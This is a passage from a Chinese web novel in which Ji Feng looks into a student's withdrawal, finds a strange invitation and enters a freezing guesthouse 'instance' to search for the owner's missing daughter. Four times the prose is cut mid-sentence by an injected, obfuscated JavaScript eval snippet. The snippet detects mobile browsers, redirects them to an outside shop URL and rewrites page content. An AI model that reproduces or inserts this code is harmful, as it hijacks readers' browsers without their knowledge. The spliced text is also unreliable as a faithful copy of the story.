她没有在食堂吃早饭,想着大学城的那家煎饼果子。一般人现在更应该担心的是一会怎么回宿舍,但是季风觉得船到桥头自然直嘛。 不过看样子季风今天运气不是很好,她到大学城门口的时候,外面那条街道安安静静,没一个小摊,卖煎饼果子的阿姨自然也没有出摊。 “奇怪,今天是什么特殊的日子吗?”她翻出日历研究了一番,没发现什么特别的。 “可能是有稽查队吧?” 季风也不再纠结,饿着肚子往校门口晃悠。等走到正门口的时候,看着进进出出的大学生,她突然想到一个问题:“我没有李灰的联系方式。” 现在这个处境就比较尴尬了。 “季风。” 李灰奇迹般的从街道的那一头跑步出现了。幸好这家伙每天晨跑定时定点路过这里,不然季风差点就吃闭门羹了。 “你是来……买煎饼果子的吗?”李灰歪着头观察了一番,得出结论:“最近我们学校出了点事儿,大家都有点儿望风而逃了。煎饼果子阿姨从昨天开始就没出摊儿。” 为什么他能一下猜出自己是来买煎饼果子的。按正常人的逻辑来讲,不应该先想一下是不是专门来看他的?虽然猜的没错,但季风怀疑自己到底立了一个什么人设啊。 “我就不能是来找你的吗?”她也没说谎,这两个理由真的是五五分。 “真的啊!”李灰轻易的相信了季风的说辞:“嘿嘿,你早上是不是还没吃饭?那我请你吃我们食堂吧。” “那怎么好意思?”季风一边嘴上这么说着,一边和李灰一起往校门里面走:“你们早上的饭怎么样?” “还挺丰盛的,去看了就知道了。”李灰乐呵的领着季风往食堂走。 “你刚才说我们学校最近发生了点事儿?”进了食堂季风也不挑,让李灰帮自己买了一份。两人坐到桌子上吃饭的时候,季风想起李灰刚才说的话。 “说是我们学校有一个人退学了。是我们这一级的。”听到季风问,李灰放下筷子。正色道。 “退学……虽然比较少见,但是也不至于这种情况吧?” “这只是个开头,你听我给你细讲。” 李灰着急地把嘴里的饭咽下去,做出要将整个事情细细道来的姿态,季风见状示洗耳恭听。 说是他们这一级有一个女生,经济系的,有将近一周没有来上课。按理来说这个时候老师已经通知辅导员,但是学院什么动静都没有。直到有一天她的室友发现女生连续两天没有回宿舍,去给导员说,得到这个女生已经退学了的消息。 并且辅导员告诉她的室友,这个女生在上个星期就已经办理了退学手续,一个星期多都没有来上过课了。 室友为什没有发现呢?听到这个传闻的同学有猜测是这个女生和室友们的关系不好,但并不是这样。这个宿舍内关系还是比较融洽的,但是几人的课没有多大的重叠。刚好那一个星期,女生没有一节课是和室友们一起上的,而且她也天天准时回宿舍了。 导员不方便透露女生退学的原因,但她的室友坚持认为这件事情有蹊跷。 因为这一个学期女生在宿舍内一直哭诉他们家里的氛围不太好。之前家里的相处都很融洽,突然的变故让她心理接受不了,之后状态也越来越差。 “你是说室友怀疑她是自杀?” “对,但是辅导员和听过这个消息的学生们都觉得有些夸张了,光到这种程度不至于,可能是室友还有什么细节没有讲。”李灰说这些似乎把自己都吓到了,他手心冰凉的搓了搓自己的胳膊。 “然后灵异的地方来了……” 学校里有一个小道人不常去,那天去了一个小组,在那里讨论作业,被吓回来了。说是大夏天的,那个地方冷的要把人冻感冒。重要的是在那儿发现了一个包裹,红色粗麻布包的,没敢打开看。 “里面不会是那女生的尸体吧?”季风冷不丁插了一句。 “不是!”李灰被季风大胆的猜测吓得一哆嗦:“那样不就断案了吗?” 里边是女生的衣物,只有一套。 “完了?”季风问。 “完了。有人报警了,警察在调查。所以连着周边的小商贩也暂避风头了。”李灰低头喝了一口还热着的粥:“目前是没调查出什么结果。” “我觉得这也调查不出什么结果。”季风感觉这件事情有种诡异的熟悉感。 “是吗?我也感觉里外都透着怪异。反而有个结果才安心。”李灰表示赞同。 “能看看吗?那个地方?”季风突然冒出的职业敏感性让她问出这个问题。 遗憾的是不行,那个地方被警戒线围起来了。她怎么感觉自己最近总是和警戒线打交道。 两人吃了个饭,季风想了想还是把她这个感觉给李灰说了。万一真跟下一个副本有关呢?不过看李灰听完的表情,说不说似乎没啥区别。 他到底是怎么考上大学的?李灰表示他最聪明的时候就是高考那会儿,不过他没忘了在走之前和季风交换联系方式。 两人告别之后走出去了很远,季风终于想起来忘了一件重要的事儿:“我没问他愿望的副本计算规则是啥!” 只能下次再找个机会了。毕竟她现在只有信心从李灰这种单纯的脑子上套取情报。 宿舍虽然叫海城市民银行家属院,但其实离这个集团的主楼还有一段距离。银行的正门儿在从大学城回宿舍的必经之路上。季风走的飞快,但就在经过正门往里撇的那一眼,她看见了两个人。 两个一模一样的人。 季风一下站住了。下一刻那两个人却从大门出来了,似乎没什么特别的,细看两人的面部还有轻微的差别,只是双胞胎而已。 “我有些魔怔了吧。”她拍了拍自己的脑袋。从另一条路往宿舍走。 回宿舍的时候,季风发现自己门口的邮箱里插了一封信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973267|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿下来进了屋打开,是一封邀请函。 上面写着:请全部非玩家前往20楼01会议室参加密会。 “这什么?”季风皱着眉头看着这幅上面甚至有欧式花纹的烫金请帖,思考发它的人是在进行什么抽象的行为艺术吗。 同时她觉得这种劣质东西只发给她一个人的可能性为零,于是第一次打开那个论坛看看上面有没有关于这个的消息。 论坛上这个请柬没什么热度,只有一篇刚发的帖子:“这场谁是卧底闹剧到底要搞到什么时候?” ——真的很烦,是谁干的别被我抓到!(附上一张照片) ——我也收到了,在搞什么,刚从副本出来心情差的要死。 ——我都收到三回了,我有这么大嫌疑吗。 ——这个东西发过几次啊? ——至少三次。 ——我来的时候第一次发过,到现在也就四次。 ——第一次发的时候还挺是那么回事的,吓到不少人。 ——没人抓到发的人吗?这么多回了。 ——可能是他没惹到硬茬吧,都懒得管。 ——谁发的啊……说不定是真的。 ——本人发过帖子,可以去看看(标题指路) 那个帖子的标题是:“副本游戏有除了玩家以外的身份。” 季风点了进去,贴主名字叫“X”,他说,在一次副本中察觉到这个游戏的身份不止“玩家”,还有另外的至少一个。 接下来冗长地讲述了他在副本中的爱恨情仇和内心戏,中间穿插着一条条骂他无聊的回复。季风拨着鼠标往下滑,一条内容让她背后瞬间冒出冷汗。 ——他们不知道副本的结算方式,如果有人问,一定是。 接着都是一些胡乱的猜测,帖子里没几个人信,但季风盯着那条回复久久不能平静。“X”可能真的发现过暴露的员工。 她回过神手里的请柬已经被捏的皱皱巴巴,点击页面退出的时候,看见“X”刚刚发布了一个新帖子:“想合作的与我联系,我已证明发现一个非玩家可以增加愿望进度。” 怎么证明的?季风死死地盯着那条帖子,此人威胁太大,现在胜在他疯癫,信的人不多。季风本想私信他,但看向自己电脑的无线网,用这个发可能会暴露自己的位置。她在交易区可看到不少“寻仇开盒”的赏金令。 于是季风决定先按兵不动,等小花升级回来让它处理一下——如果还回来的话。 到饭点了,正点的晚饭应该还不错,季风再次光顾了食堂,不禁感慨三楼真是个好位置。 “三楼真是个好位置啊。”旁边响起这句感叹,季风以为自己不小心将心声说出来了,抬头发现声音是旁边那个男生发出来的。 他留了一头及肩的长发,五官有点糊在头发底下,极瘦,骨头隔着体恤都能支出来,但又很高,微驼着背的情况下也比季风高一头,估计有一米八五网上。那人见她看过来,不好意思的笑笑说:“太爱吃饭了,不小心感慨出声了。” 21. 利亚01 季风摇头表示没事,默默收回视线。食堂在饭点人还是不少,她迅速被在家里见都没见过的美味大餐吸引了注意力,没再管旁边这个瘦骨嶙峋的怪人。 避风塘炒蟹、糖醋里脊、蚂蚁上树……他每个菜都往自己的盘子里舀了一勺,很快就把饭盘堆满了。周围吃饭的玩家没有过多的关注季风,毕竟这多的是副本里受苦受难,出来报复性进食的人。不过就在季风吃完糖醋里脊,觉得应该再拿点儿抬头的那一刻,和刚才那个人对上了视线。 “……”季风没有回避两人的对视,对面率先收回了视线。她也没有添饭的兴致了,把盘子放到回收处就离开了。 “搞什么?”季风刚才吃着正开心,冷不丁看到那人,总之不是让人舒服的眼神,像某种阴冷的毒蛇。自己刚才吃饭的时候,那家伙不会一直看着吧?想到这儿她更是起了一身鸡皮疙瘩。 回宿舍心绪有一些纷乱,毫无困意。想起小花已经消失有一段时间了,就试着在脑海里叫它,没有回应。 “啧。”算了,自己也不能太依靠这个连金手指都不算的东西,季风放弃寻找外力协助,打开论坛找找有没有对自己有用的信息。 这个论坛目前她能搜到的最早的一条帖子是在一年前,但其内容平平无奇,也不像是什么首发的话题。这么看来,论坛可能有定期删除帖子的动作。一直到电脑的时间显示凌晨2点季风才由于长时间盯着屏幕感到头晕眼花,不得不暂停一下。她到阳台想着眺望远方,放松一下眼睛,窗外依旧是繁华的城市夜景,霓虹灯、车流。她一边用手指按摩着有些胀痛的太阳穴,一边在脑海里将刚看到的信息整合在一起。 总之,自己现在的境遇不算安全,可以说是刚出虎穴又入狼窝。不知道已经运行了多久的副本,玩家们对存在不止一种身份有相关的猜测。虽然没有一条确实证明的帖子,不排除是被删掉或者是发现人藏私。 同时有不少讨论副本内容的帖子:目前没有重复开放的副本,所以大家会在帖子里大肆讨论副本的内容。经常出现一个副本在相同的时间同时开放好几个,出现过同时开放了十个一模一样的副本,每一个副本有12名玩家参与的情况。所以幸存者们出来后会在帖子上互相交流分享经验。过关的技巧隐约是有一些共通在的,但在论坛里说的都很隐晦,交易区有付费教学的内容,不过不知真假。 但这样的情况下,季风没有发现自己进入的那个银行副本的任何信息,甚至目前没有一个副本里出现过主持人这个角色。 “那不会真是一场大型面试吧。”季风后知后觉地想到,如果她因为通过副本被选中成为员工,那其他通过的人呢。现在想来银行的副本有不少离谱的地方,季风不敢想象,如果自己发帖说副本里有人走后门,这个论坛得炸成什么样子。在阳台待了一会感到头痛有所缓解,她就回房间倒在床上,眼皮迅速合上了。 冷,寒意从脚底和脸上渗入骨骼,季风醒来后打了一个哆嗦。 周围的环境已经发生了变化,她现在身处一个木质结构的房间里,单薄的被褥和墙体。似乎还有些漏风,她可以隔着木板听见外面寒风呼啸的声音。季风推开门发现这是一个类似于民宿的地方,自己在二楼,隔着围栏可以看见楼下客厅里的情况。二楼看起来全是用来住人的房间。一楼则是会客厅,摆着四张沙发围成一圈甚至还有一个壁炉,是没有点着的状态。客厅里已经坐了几个人,他们听见开门声,抬头看了一眼,季风也不好在上面干站着,下楼跟他们打招呼。 其中四个人似乎相互认识,一男三女,那男的冲季风点了点头:“刘安平。”然后用手指依次指着他旁边的三个姑娘:“小兰,小玲,小芳。” “季风。”她只得也自我介绍了一下,就是那三个女孩儿的名字是认真的吗? 还有两个人,可能是单独来的,各坐在一个沙发的一侧。只在一开始抬头看了一下,现在也低着头拒绝交流。季风站在那儿看了看,坐在了唯一一张空着的沙发上。坐下没几分钟,她就站起来了,实在是冷,寒气顺着她的脊背透过来,季风就穿了一件薄衬衣。 站起来的时候刘安平抬头看了她一眼,有些疑问的眼神。季风没上赶着解释,绕着那个壁炉周围观察了一下,里面有柴火,但是没有火源。 “你们不冷吗?” 几人听到这话抬头,看是刚才下来的那个女孩儿,这会正站在壁炉跟前。 “不把这个点起来,还没开始就要冻死了吧。” 确实是这样的,这几人也刚醒来,现在已经处于一个有点被冻僵的状态。 “我刚找过了,没法点火。”刘安平说。 “二位呢,有火源吗?”疾风将目光转向了两张沙发上的两个人。 “没有。”女生说话了,男的摇了摇头。 要不她先回房间里待着吧,季风这么想着又转身返回楼上,按了按门把手,打不开。从房间出来之后,门就被锁上了。 “这不会是这个副本的第一关吧?来者不善啊。”季风站在门前愣神。 而且还有一个比较明显的问题:现在6个人只有她一个人在行动。这时隔壁的门开了,出来的是一位男性,比季风高一个头,穿了个背心,露着个膀子,健身痕迹十分明显。 对方好像对现在自己的处境有些懵,和季风对视了好几秒,才说:“你好?” “我不建议你出来,这个房间出来了,门就开不开了。”季风注视着他的膀子,说这句话完全是出于好心,他太过单薄的衣服让季风担心他会是第一个被冻死的人。 “可是里边也很冷。”那人说。 “先别关门,你在房间里找找有火源吗?”季风忙伸手阻挡了对方准备关门的动作,说。 那人很配合的回房间,似乎是翻找了一阵出来了。 “我找到一个火折子。”他手里拿着一个破旧的竹筒,同时身上多了披了一层被子。 “好的,楼下有一个壁炉,试试能不能点着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997167|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”季风松了一口气,带着他下楼了。 “那个是火折子吗?”季风在前面走着心里想,刚才她在床头柜上看见这个竹筒了,以为是装饰品来着。 两人走到壁炉前,男人打开盖子用力吹了两下,柴很干燥,没过多久就成功的点着了。火焰带来的暖意让众人冻僵的肢体稍微有一些缓解。 “兄弟,多亏了你。”两人正围在壁炉前面烤火。背后一个声音冒出来一双手从两人中间插了进来:“我是刘安平,您怎么称呼?” “我姓李。”男人似乎不想说自己的全名。 刘安平十分理解:“李兄!以后我们多互相交流。” “嗯。”男人还是一副冷淡的样子。季风在一旁听着这十分有温度差的对话,一步也没挪动的在原地烤火。 “我叫蓝柯。”男人这时候凑到季风旁边悄声说。 她小幅度的回头看了男人一眼,啥意思?把她当自己人? “季风。”不过季风不太想现在就和他划分到同一阵营,甚至往旁边挪了一下。 蓝柯看到季风后退一步的动作仿佛要碎了。季风烤了一会火总感觉左胳膊火辣辣的,扭头一看,对方正幽怨的盯着她。 “你怎么还当面一套,背后一套呢?”看刘安平早都回到他四人小分队里了,季风小声回了他一句。 蓝柯一副恍然大悟的表情,连忙解释:“没有骗你,我姓李,字蓝柯。”他似乎不想被疾风误会。 “你叫李兰科?”季风一脸不信,这真的有点儿难听。 “不是,这两个不连的。李是我的艺名,蓝柯是我自己起的,别连着叫。” 什么字不字的?季风点头表示知道了,因为她不愿意在名字上再纠缠了。 陆陆续续的八个人都来到客厅,除了先前交换过名字的,还有两人也做了自我介绍。不过季风没记住,这个名字,等能出副本了再记也不迟吧。 “客人都到齐了,晚饭也做好了。”突然一个男人从后厨冒出来,用沙哑的嗓音招呼道。 这次副本似乎没有新手,大家都娴熟的来到几张桌子面前自动坐好,男人很快从后厨端来了几份简单的菜和汤。 “这个能吃吗?”季风对上次的副本还心有余悸,盯着饭思考。 小花:“检测结果,:“副本汤菜”,作用:补充体力。” 脑子里突然冒出小花的声音,季风一哆嗦,还把旁边的人吓了一跳。 “你下次能不能提醒一下?万一我处在一个不能出声的情况下呢?” 小花:这是你迎接我的第一句话吗?我可是一更新好就立刻来了。 它的声音里透露着委屈,听着确实先进了不少。季风低着头喝汤,表示听到了。 一口汤下肚,季风立刻感觉到身体的能量得到了补充,四肢温暖了不少,看来这个饭也是保持体温的途径之一。 吃饭的玩家显然都发现了这一情况,一时间客厅里只能听见碗勺碰撞的声音。 22. 适龄02 简陋的汤饭很快被解决了,那个似乎是老板的男人从后厨出来,乐呵呵的将大家桌子上的碗筷收拾干净,众人坐在桌子跟前,一时拿不定主意现在该干什么。 后厨传来了叮叮当当洗碗的声音,过了一小阵儿,男人在围裙上擦着手出来了。他一见到几位玩家,又挂起笑脸:“呀,各位老板真是麻烦你们过来了,路上挺冷的吧,粗茶淡饭的,实在是招待不周。” “不麻烦,有什么事儿您具体说说?”刘安平第一个接上老板的话,很老练地准备套出这次副本的任务。 “我是这家民宿的老板,叫我老刘就行。我有一个女儿叫雅欣,这孩子之前和我们闹矛盾,离家出走了。你说这冰天雪地的一个女孩儿在外面多不安全,麻烦你们一定帮我找到她。”老刘的眉眼挂着一层灰霾,十分担忧女儿的安全。 “好的,没问题。”刘安平迅速的答应了下来:“您有关于雅欣更具体的信息吗?” 谁知那老刘忽的将脸色一变:“唉,我也说不清楚,你在这间民宿里找找吧。我白天也不在,晚上才会回来。”然后他十分郑重的上前伸出双手想要与刘安平握手。“谢谢你,小伙子就靠你了。” 老刘双手紧紧的握着刘安平的手,放开后说:“对了,晚上民宿不太平。注意安全。”然后他就又进到后面的房间里去了,门在他身后关上,估计今晚不会出来了。 刘安平一副接到圣旨的样子,双手撑着桌子清了两声嗓子:“各位刚才也听见了。这样,我和我三个姑娘在一楼找线索,诸位在二楼找线索怎么样?”他说完似乎想到了什么,又扭头看向蓝柯:“李兄,你要不跟我在一楼?” 眼见他将众人的活儿都安排好了,给季风整的都有点儿不会了。怎么,他是这次副本的团长吗?蓝柯不吃他这一套,直接摆摆手说:“不用管我,我自己看看。” 刘安平没想到会被这么直白地拒绝,脸色不太好看。剩下那两个人明显没什么经验,刚才就已经点头答应下来,现在也不愿落单,就是表示希望和刘文平一起在一楼查找。 季风静静的看着几人短暂的闹剧,“只有我一个人觉得现在需要进房间睡觉吗?”她跟小花说。 “我觉得你觉得没错。”小花说:“老刘不都说了,晚上很危险吗?” “我看着刘安平也是个绣花枕头。”季风看着刘安平的背影,此人给她一种虚张声势的感觉。 她也不想做大好人,万一晚上并没有发生什么事,反而会怪她耽误进度,于是季风在众人散开时就转身上二楼了。 蓝柯跟着她后面也上楼了,两人的房间就在二楼楼梯口的前两个,季风站在自己房门前,看着从身后过来的人,用眼神询问他。 “你干什么去?”蓝柯从季峰身边走过,也来到自己的门前,转头问季风。 “你呢,不是说自己找找吗?”季风反问道。 “我准备回去睡觉。”蓝柯用眼神点了点季风手握着的门把手:“你也是?” “晚安。”季风做了一个这都被你猜到了的表情,开门进房间了。 她把门关上后,蓝柯没有立刻打开自己的门,反而盯着季风的门观察了一会儿,又将剩余的几个门扫了一遍,才进屋。 房间里和客厅的温差巨大,没有了壁炉的温暖,季风一进屋就被冻得打了个哆嗦,她在周围哆哆嗦嗦找了一圈,也没找到什么取暖的工具。正想再从房间出去,在外面暖和一些,小花出声了:“不建议你现在出去。检测到外面有攻击性生物。” 小花话音刚落,外面就传来了尖叫声和奔跑声。过了一阵儿季风听见了房门摔上的声音,还有女孩儿的喊声:“刘安平!你不是人!救命!”听起来似乎是三个女孩儿中的一个,那声音在这一阵叫喊后就消失了。 “你觉得她死了吗?”季风在房间里眨巴眨巴眼睛问小花。 “听动静是死了。”小花说。 “动静我也会听。我是问你。”季风好脾气的再问一次。 小花:“说实话,我检测不来。玩家不是副本内容,不在我的检测范围内。” “那副本的内容你就全部可以检测吗?”没关系,季风安慰自己:“那趁这一个时间介绍一下你升级后的具体成效?” 小花:“我可以进行危险预警和副本非主要成分的检测。” 季风听到小花的介绍两眼一黑:“没理解错的话,副本不是靠主要成分进行的吗,那你的作用是?” “嗯……我这次升级清晰的自我认知!”小华绞尽脑汁想出了一个答案。 “说。”季风倒要看它还能说出什么新花样来。 “我其实不能算是系统,也不能算是人工智能。” “那你是什么,鬼魂?”季风这样想也有理有据,毕竟它天天说鬼话:“这样的话我可以超度你。” “不是不是,我是一种新型生命体,我被做出来不是用来过副本的。”小花语气一点没开玩笑。 “……” 看季风没问,小花只好自己接下去:“我是救世主。” “你是什么玩意儿?”她终于听不下去了,语重心长地说:“你可能不知道,鬼魂也是生命体,要不我现在就送你去往生吧?” “我真的是!这是我这次更新得到的重要信息,所以我以后不能算是你的系统,而是你的伙伴了。”小花说的郑重其事的,季风听着这些话感到有些眩晕了。 “别说了,我都被你气的头发昏。”她不能再继续听小花的玄幻言论了:“这些话实在想说回去再说吧。” 小花:“你不是被我气的发昏,是被东西盯上了,劝你现在立刻上床,用被子把自己裹起来装睡。” 她就说嘛,自己什么时候气性这么大了,季风反而松了口气,反应过来小花说的,立刻上床用被子把自己裹严实。 “别在床上,到床底下去。”小花提醒道。 季风配合的一个翻滚来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010289|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床底,她身上裹得被子像是铁皮做的,冰冷没有一丝暖意,人睡觉盖这个还不如不盖吧。她被冰的四肢僵硬,听见走廊里传来“咚、咚、咚、”的声响,听起来像是一个人在跳。那脚步声在走廊走了一个来回,最终停在了季风房间门口。 房门被打开又关上。 “咚、咚、咚”那声音听着离床越来越近。“小花!小花小花!”季风在脑海里疯狂呼唤小花,她最怕这玩意儿,刚才超度鬼魂什么的都是开玩笑的。反而是青面獠牙的怪物季风可以与之对砍,但这种东西,是她的弱点。 小花:“眼睛闭紧,别看,屏住呼吸。” 季风立刻屏息,把自己裹在被子里一动也不敢动。因为她听到那玩意在她的床头停下了,按理来说它不应该有呼吸,但季风总感觉阴风一阵一阵越飘越近,在她憋气别的感觉快晕过去的时候,突然门外传来声音——有人在敲她的房门。 “季风,睡了吗?”是蓝柯。 过了一会儿似乎是听见里面没动静,门外又说:“我给你烧了点热水,天冷了别感冒了,你也别跟我闹别扭了,我知道错了。” 季风听着听着……什么玩意儿?他被夺舍了?自己怎么听不懂蓝柯在说什么啊。 但是,房间里的那东西竟然开始往门口移动了,听着是把房门打开了,这下季风更不懂了,这哥们到底是给房间里的哪位在说话啊。 小花:“它走了。” “走了?”季风这会一身的虚汗,裹在冰凉的被子里有些失温,身子已经开始轻微的哆嗦。这样下去没死在那东西的手里就先被冻死了。 “小花,你帮我看看屋子里有水吗?” “有,你床头柜里有两瓶矿泉水。”小花这回很迅速的完成任务,这种事还是可以办到的。 季风从床底挪出来,露出个脑袋伸手够到床头柜里的水,把它拿下来后,又去把火折子拿下来。没错,她要烧水,感谢蓝柯给她的灵感,她得喝点热的暖暖身子。折腾了一阵,勉勉强强用简陋的设备烧了一点点开水,喝完后身体的温度有了显著的提升,季风趁着暖和,迅速入睡了。 第二天早上她又是手脚冰凉的醒来了,外面依旧是寒风呼啸,民宿里没有窗户,大门也锁着,看不见外面的环境。她开门后一眼就看到门边放着的一杯水,“昨晚蓝柯还真出来了,命真大。”季风心想着,在楼梯上和正上楼的人打了个照面。 “怎么了?”季风问,大家不应该都在楼下吗。 “我上来看看你醒了没。”蓝柯明显松了口气,季风一下明白怎么回事:“你怕我昨晚死了?” “呸呸呸!快。”蓝柯立刻阻止季风口无遮拦的行为,副本里还是不要乱说话,季风很给面子地照做。 两人一起下楼,季风先对他昨晚的救命行为表示感谢:“但是昨天你说的那话是什么意思?” 对方只是摇摇头,摆了个“嘘”的手势,季风撇撇嘴,这是让她自己悟呢。 23. 适龄03 两人下楼发现几人坐在一起,那两个女孩儿离刘安平远远的,三人间的氛围有些凝滞。 “都是因为你小玲才死的。”小兰撇了一眼刘安平搭到她肩上的手,一拧身走开了。 刘安平被闪了一下,忙扶住旁边的沙发背:“昨天情况紧急,我不是救了你们两个吗?” “那是我们跑得快没被你拉下!”两个姑娘才不听刘安平的狡辩。 剩下的玩家都坐在客厅,也不出声,津津有味的看着三人吵架。季风听了一会大概明白是怎么回事了,说:“我打断一下。小玲到底是怎么死的?” “她现在还在民宿吗?我们能看看吗?毕竟这种事情还可能发生。”蓝柯说。 刘安平一副想赶快脱身的表情,立刻从小兰和小芳对面走开,来到两人面前:“可以,昨天我们在柴房好像是遇到了野生动物。我立刻回房间了,所以没有太看清。” 看着刘安平带玩家们来到柴房门口,季风立刻明白过来:“你不会是跑出去了之后把她一个人关在柴房里了吧?” “啊这个……那个时候这个是最优解。我也是为了大家的安危。”刘安平解释的冠冕堂皇。 小兰在后面发出一声冷哼:“小玲被关的时候还喊救命呢!” “够了,我又没把你俩锁起来,你怎么不去救?”刘安平终于受不了,回怼了小兰一句。 小兰显然没料到刘安平会这么说,愣了一下,眼里蓄出泪花。在一旁一直没说话的小芳揽过小兰抽动的肩膀,小声说了一句:“忘恩负义的东西。” 刘安平虽然听见了,但是没有再理两人。 当柴房门小心翼翼的被打开时,围在门前的玩家陷入了短暂的沉默。 “人呢?”季风问,难道只有她一个人没看见? “嗯,应该是在这儿的。”刘文平感觉额头有些微微冒汗了。 蓝柯从后面上前,走进柴房一角的一个柴堆后面,蹲下去,用手摩挲着什么,季风也走过去查看,她原以为那块儿会有血迹什么的,入眼是干干净净的地面。 “你发现什么了?”季风问他。 “这个地上撒过石灰,有人来清理过。”蓝柯小声说出他的猜测。 “李兄你有发现什么吗?”刘安平不知是做了亏心事还是怎的,站在门口不敢进去。 蓝柯站起身拍拍手,说:“尸体被处理了,你们之前有谁进来过吗?” 众人都摇头,昨晚才到的民宿,这么短的时间内就出了一起事故。而且,季风想起昨晚自己的遭遇,这两起也不像是一种情况,看来这民宿里危机重重。 早上民宿也会贴心地提供早饭,老刘从自己的房间出来见玩家都来到客厅,还有些惊讶:“大家起这么早啊,正好早饭好了,吃了才有力气帮忙。” 饭端上桌,不同于昨晚的粗茶淡饭,除了正常的杂粮粥,每桌竟然摆了一盘肉菜。 “老板,早上吃这么丰盛啊?”季风看着那盘挂了酱汁的炖肉,闻起来很香。 “老刘,这是什么肉啊?”蓝柯也问,他只喝着粥,眼神一直在肉上不见动筷。 老刘看大家都不吃,连忙说:“这是猪肉,昨晚才宰的,新鲜着呢。不是看大家辛苦,昨晚实在是招待不周,以后顿顿都会有的。” 有几个本身就馋肉的玩家听到这话,立刻好几双筷子伸进盘子。倒是蓝柯直接摇头,说:“我信教,吃不了猪肉。” 老刘被这理由震撼住了,把目光转向另一个没吃的人,季风立刻说:“我猪肉过敏。” “行吧,那几位老板好好吃,我先出门了。”老刘也没再纠缠,穿上外套从后门走了。 刘安平本来想吃,见蓝柯找借口不吃,也不吃了,把自己那碗粥喝的呼噜作响。 “昨晚那个东西你见到了吗?”季风将身子朝蓝柯那边偏了偏,问道。 “没。” “什么东西啊?”刘安平伸着个脑袋,不让自己错过任何信息。 “昨晚有东西在楼道里走动,有人听见声音吗?”季风问。 “没有,我昨晚几乎没睡着,没听见啊。”小兰有些惊恐的说。 “我也没听到。”小芳摇摇头,说:“房间里全是刮风的声音,吵的要命。” 刘安平左看看,右看看:“我也没听见。”抬头正对上季风那双深灰的眼睛,像镜子一样把他照的原形毕露,吓得一哆嗦,差点咬了自己的舌头。 “好吧,看来只有我一个人听见了。”季风无所谓的笑笑,起身走了。转身她的脸色就沉了下来,才怪,这几个人中别人不说,刘安平嘴里就没个真话。 几个玩家都趁着老刘不在店里的这段时间开始在民宿里到处找找,楼下看着不大,像迷宫似的,季风弯弯绕绕的走着走到一个死胡同里。 “……小花。”季风本来是想让小花给她指个路,没想到小花给她了个惊喜。 “别回头。”小花说:“千万别回头。” 好家伙,季风缓缓闭上双眼,她这是落单了被抓了个正着。 “是哪个?”季风问:“昨晚那个还是柴房那个?”虽然问了也没什么用。 下一秒——“咚、”身后安静的没有一丝声音,但好像有阴冷的风缓缓地落在她的脖子后侧,季风头皮阵阵发麻。她现在只能死死盯着前面的墙壁,希望能把它盯出一个洞来。 “洞”……这个字在季风脑袋里游荡,她再次看了看眼前的墙:木板,年久失修,薄脆。季风没再犹豫,后面的东西就看见前面的女孩暴起一脚飞踹在木板墙上,吱—— 蓝柯在另一个房间感觉房梁慌了两下。 一脚下去并没有如季风所愿一下出来一个洞,反而是她的脚麻了。不过听声音墙对面是一个房间,并不是承重墙,所以只是一块薄板。季风又用力踹了一脚,好消息,受力的几块木板有开裂的空间,她大受鼓舞,左右脚换着,不到一分钟真给她踹出来一个洞。往里看似乎是个卧室,季风来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027599|147777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及多想矮身钻了进去。 那东西似乎进不来,季风坐在床上喘着粗气。她发现自己身处的是一个女生的卧室,应该已经很久没人住过了。东西还是整齐地摆放着,有一层薄灰。她看到墙上还贴着奖状和海报,纸边有些泛黄,奖状的落款日期是纪元2000年。 “四十年前吗?”季风从床上起身,又坐下,总感觉触感不太对,她翻开床垫,那底下垫着一沓明信片,也年代久远了,她拿出来看了看。总共十张,不是什么情书,上面记录是旅游随笔,大多是山川湖泊,地点的名字对于积分来说十分陌生,但明信片背面的照片美不胜收。 “还有什么?”自从把明信片小心的放回原位,在别的地方翻翻找找。 “山城小学,山城中学,海城大学。”季风在书桌旁的文件袋中翻出了毕业证,上面有女孩的名字和照片,照片里女孩一头黑发,扎着马尾, “雅欣,”她手指在照片上轻轻划过:“你到底有什么故事……” 